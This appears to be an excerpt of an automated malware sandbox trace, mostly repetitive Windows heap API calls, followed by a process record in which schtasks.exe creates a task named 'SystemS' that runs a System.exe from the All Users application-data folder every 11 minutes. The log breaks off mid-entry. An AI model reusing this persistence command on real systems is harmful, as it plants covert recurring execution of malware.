[0127.144] GetProcessHeap () returned 0x1769e910000 [0127.144] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919b10) returned 0x208 [0127.145] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919b10) returned 1 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914c30) returned 1 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914c30) returned 0x18 [0127.145] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914c30) returned 1 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918f90) returned 1 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918f90) returned 0x20 [0127.145] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918f90) returned 1 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] GetProcessHeap () returned 0x1769e910000 [0127.145] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91bb40) returned 1 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91bb40) returned 0x200 [0127.146] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91bb40) returned 1 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914c70) returned 1 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914c70) returned 0x18 [0127.146] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914c70) returned 1 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918ea0) returned 1 [0127.146] GetProcessHeap () returned 0x1769e910000 [0127.146] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918ea0) returned 0x20 [0127.147] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918ea0) returned 1 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9143b0) returned 1 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9143b0) returned 0x14 [0127.147] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9143b0) returned 1 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914390) returned 1 [0127.147] GetProcessHeap () returned 0x1769e910000 [0127.147] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914390) returned 0x18 [0127.148] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914390) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9191a0) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9191a0) returned 0x20 [0127.148] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9191a0) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9146c0) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9146c0) returned 0x16 [0127.148] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9146c0) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.148] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914350) returned 1 [0127.148] GetProcessHeap () returned 0x1769e910000 [0127.149] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914350) returned 0x18 [0127.149] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914350) returned 1 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919050) returned 1 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919050) returned 0x20 [0127.149] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919050) returned 1 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914ed0) returned 1 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.149] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914ed0) returned 0x2 [0127.149] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914ed0) returned 1 [0127.149] GetProcessHeap () returned 0x1769e910000 [0127.150] GetProcessHeap () returned 0x1769e910000 [0127.150] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914840) returned 1 [0127.150] GetProcessHeap () returned 0x1769e910000 [0127.150] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914840) returned 0x20 [0127.150] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914840) returned 1 [0127.150] GetProcessHeap () returned 0x1769e910000 [0127.150] GetProcessHeap () returned 0x1769e910000 [0127.150] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914890) returned 1 [0127.151] GetProcessHeap () returned 0x1769e910000 [0127.151] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914890) returned 0x20 [0127.151] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914890) returned 1 [0127.151] GetProcessHeap () returned 0x1769e910000 [0127.151] GetProcessHeap () returned 0x1769e910000 [0127.151] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9148c0) returned 1 [0127.151] GetProcessHeap () returned 0x1769e910000 [0127.151] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9148c0) returned 0x20 [0127.152] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9148c0) returned 1 [0127.152] GetProcessHeap () returned 0x1769e910000 [0127.152] GetProcessHeap () returned 0x1769e910000 [0127.152] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914430) returned 1 [0127.152] GetProcessHeap () returned 0x1769e910000 [0127.152] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914430) returned 0x20 [0127.152] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914430) returned 1 [0127.152] GetProcessHeap () returned 0x1769e910000 [0127.152] GetProcessHeap () returned 0x1769e910000 [0127.153] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b8c0) returned 1 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b8c0) returned 0x20 [0127.153] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b8c0) returned 1 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a9c0) returned 1 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a9c0) returned 0xa [0127.153] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a9c0) returned 1 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b7d0) returned 1 [0127.153] GetProcessHeap () returned 0x1769e910000 [0127.153] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b7d0) returned 0x20 [0127.154] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b7d0) returned 1 [0127.154] GetProcessHeap () returned 0x1769e910000 [0127.154] GetProcessHeap () returned 0x1769e910000 [0127.154] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e913920) returned 1 [0127.154] GetProcessHeap () returned 0x1769e910000 [0127.154] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e913920) returned 0x30 [0127.154] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e913920) returned 1 [0127.154] GetProcessHeap () returned 0x1769e910000 [0127.155] GetProcessHeap () returned 0x1769e910000 [0127.155] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b860) returned 1 [0127.155] GetProcessHeap () returned 0x1769e910000 [0127.155] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b860) returned 0x20 [0127.155] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b860) returned 1 [0127.155] GetProcessHeap () returned 0x1769e910000 [0127.155] GetProcessHeap () returned 0x1769e910000 [0127.155] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9146f0) returned 1 [0127.155] GetProcessHeap () returned 0x1769e910000 [0127.155] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9146f0) returned 0x30 [0127.156] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9146f0) returned 1 [0127.156] GetProcessHeap () returned 0x1769e910000 [0127.156] GetProcessHeap () returned 0x1769e910000 [0127.156] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b5c0) returned 1 [0127.156] GetProcessHeap () returned 0x1769e910000 [0127.156] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b5c0) returned 0x20 [0127.156] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b5c0) returned 1 [0127.156] GetProcessHeap () returned 0x1769e910000 [0127.156] GetProcessHeap () returned 0x1769e910000 [0127.157] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91aaa0) returned 1 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91aaa0) returned 0x10 [0127.157] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91aaa0) returned 1 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ba10) returned 1 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ba10) returned 0x20 [0127.157] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ba10) returned 1 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91abc0) returned 1 [0127.157] GetProcessHeap () returned 0x1769e910000 [0127.157] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91abc0) returned 0x10 [0127.157] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91abc0) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ba40) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ba40) returned 0x20 [0127.158] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ba40) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91abe0) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91abe0) returned 0xe [0127.158] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91abe0) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.158] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91baa0) returned 1 [0127.158] GetProcessHeap () returned 0x1769e910000 [0127.159] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91baa0) returned 0x20 [0127.159] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91baa0) returned 1 [0127.159] GetProcessHeap () returned 0x1769e910000 [0127.159] GetProcessHeap () returned 0x1769e910000 [0127.159] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91aa80) returned 1 [0127.159] GetProcessHeap () returned 0x1769e910000 [0127.160] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91aa80) returned 0x16 [0127.160] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91aa80) returned 1 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.160] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b800) returned 1 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.160] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b800) returned 0x20 [0127.160] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b800) returned 1 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.160] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91a8c0) returned 1 [0127.160] GetProcessHeap () returned 0x1769e910000 [0127.161] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91a8c0) returned 0x16 [0127.161] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91a8c0) returned 1 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91bad0) returned 1 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91bad0) returned 0x20 [0127.161] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91bad0) returned 1 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9359e0) returned 1 [0127.161] GetProcessHeap () returned 0x1769e910000 [0127.161] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9359e0) returned 0x82 [0127.162] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9359e0) returned 1 [0127.162] GetProcessHeap () returned 0x1769e910000 [0127.162] GetProcessHeap () returned 0x1769e910000 [0127.162] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b500) returned 1 [0127.162] GetProcessHeap () returned 0x1769e910000 [0127.162] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b500) returned 0x20 [0127.163] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b500) returned 1 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91ab20) returned 1 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91ab20) returned 0xe [0127.163] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91ab20) returned 1 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e91b680) returned 1 [0127.163] GetProcessHeap () returned 0x1769e910000 [0127.163] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e91b680) returned 0x20 [0127.164] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e91b680) returned 1 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914870) returned 1 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914870) returned 0x18 [0127.164] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914870) returned 1 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919170) returned 1 [0127.164] GetProcessHeap () returned 0x1769e910000 [0127.164] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919170) returned 0x20 [0127.165] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919170) returned 1 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918f60) returned 1 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918f60) returned 0x20 [0127.165] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918f60) returned 1 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919110) returned 1 [0127.165] GetProcessHeap () returned 0x1769e910000 [0127.165] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919110) returned 0x20 [0127.166] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919110) returned 1 [0127.166] GetProcessHeap () returned 0x1769e910000 [0127.166] GetProcessHeap () returned 0x1769e910000 [0127.166] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918f00) returned 1 [0127.166] GetProcessHeap () returned 0x1769e910000 [0127.166] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918f00) returned 0x20 [0127.167] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918f00) returned 1 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914460) returned 1 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914460) returned 0x18 [0127.167] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914460) returned 1 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918e70) returned 1 [0127.167] GetProcessHeap () returned 0x1769e910000 [0127.167] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918e70) returned 0x20 [0127.168] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918e70) returned 1 [0127.168] GetProcessHeap () returned 0x1769e910000 [0127.168] GetProcessHeap () returned 0x1769e910000 [0127.168] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919080) returned 1 [0127.168] GetProcessHeap () returned 0x1769e910000 [0127.168] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919080) returned 0x20 [0127.168] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919080) returned 1 [0127.177] GetProcessHeap () returned 0x1769e910000 [0127.177] GetProcessHeap () returned 0x1769e910000 [0127.177] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e919140) returned 1 [0127.177] GetProcessHeap () returned 0x1769e910000 [0127.177] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e919140) returned 0x20 [0127.178] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e919140) returned 1 [0127.178] GetProcessHeap () returned 0x1769e910000 [0127.178] GetProcessHeap () returned 0x1769e910000 [0127.178] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918ed0) returned 1 [0127.178] GetProcessHeap () returned 0x1769e910000 [0127.178] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918ed0) returned 0x20 [0127.179] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918ed0) returned 1 [0127.179] GetProcessHeap () returned 0x1769e910000 [0127.179] GetProcessHeap () returned 0x1769e910000 [0127.179] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e918f30) returned 1 [0127.179] GetProcessHeap () returned 0x1769e910000 [0127.179] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e918f30) returned 0x20 [0127.180] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e918f30) returned 1 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914480) returned 1 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914480) returned 0x18 [0127.180] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914480) returned 1 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e9190b0) returned 1 [0127.180] GetProcessHeap () returned 0x1769e910000 [0127.180] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e9190b0) returned 0x20 [0127.181] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e9190b0) returned 1 [0127.181] GetProcessHeap () returned 0x1769e910000 [0127.181] GetProcessHeap () returned 0x1769e910000 [0127.181] HeapValidate (hHeap=0x1769e910000, dwFlags=0x0, lpMem=0x1769e914eb0) returned 1 [0127.181] GetProcessHeap () returned 0x1769e910000 [0127.181] RtlSizeHeap (HeapHandle=0x1769e910000, Flags=0x0, MemoryPointer=0x1769e914eb0) returned 0x18 [0127.181] RtlFreeHeap (HeapHandle=0x1769e910000, Flags=0x0, BaseAddress=0x1769e914eb0) returned 1 [0127.181] exit (_Code=0) Thread: id = 181 os_tid = 0x558 Process: id = "33" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x37b68000" os_pid = "0x55c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"SystemS\" /sc MINUTE /mo 11 /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3591 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3592 start_va = 0x8f10eb0000 end_va = 0x8f10f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000008f10eb0000" filename = "" Region: id = 3593 start_va = 0x8f11000000 end_va = 0x8f111fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000008f11000000" filename = "" Region: id = 3594 start_va = 0x1eb77ac0000 end_va = 0x1eb77adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77ac0000" filename = "" Region: id = 3595 start_va = 0x1eb77ae0000 end_va = 0x1eb77af4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77ae0000" filename = "" Region: id = 3596 start_va = 0x1eb77b00000 end_va = 0x1eb77b03fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77b00000" filename = "" Region: id = 3597 start_va = 0x1eb77b10000 end_va = 0x1eb77b10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001eb77b10000" filename = "" Region: id = 3598 start_va = 0x1eb77b20000 end_va = 0x1eb77b21fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001eb77b20000" filename = "" Region: id = 3599 start_va = 0x7df5ff440000 end_va = 0x7ff5ff43ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff440000" filename = "" Region: id = 3600 start_va = 0x7ff684cd0000 end_va = 0x7ff684cf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684cd0000" filename = "" Region: id = 3601 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3602 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3603 start_va = 0x1eb77b30000 end_va = 0x1eb77d0ffff 